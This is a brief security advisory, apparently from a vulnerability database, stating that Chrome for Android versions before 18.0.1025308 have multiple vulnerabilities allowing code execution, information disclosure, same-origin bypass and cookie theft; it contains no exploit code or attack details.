Google Chrome for Android is prone to multiple vulnerabilities.
|
|
|
|
Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible.
|
|
|
|
Versions prior to Chrome for Android 18.0.1025308 are vulnerable.
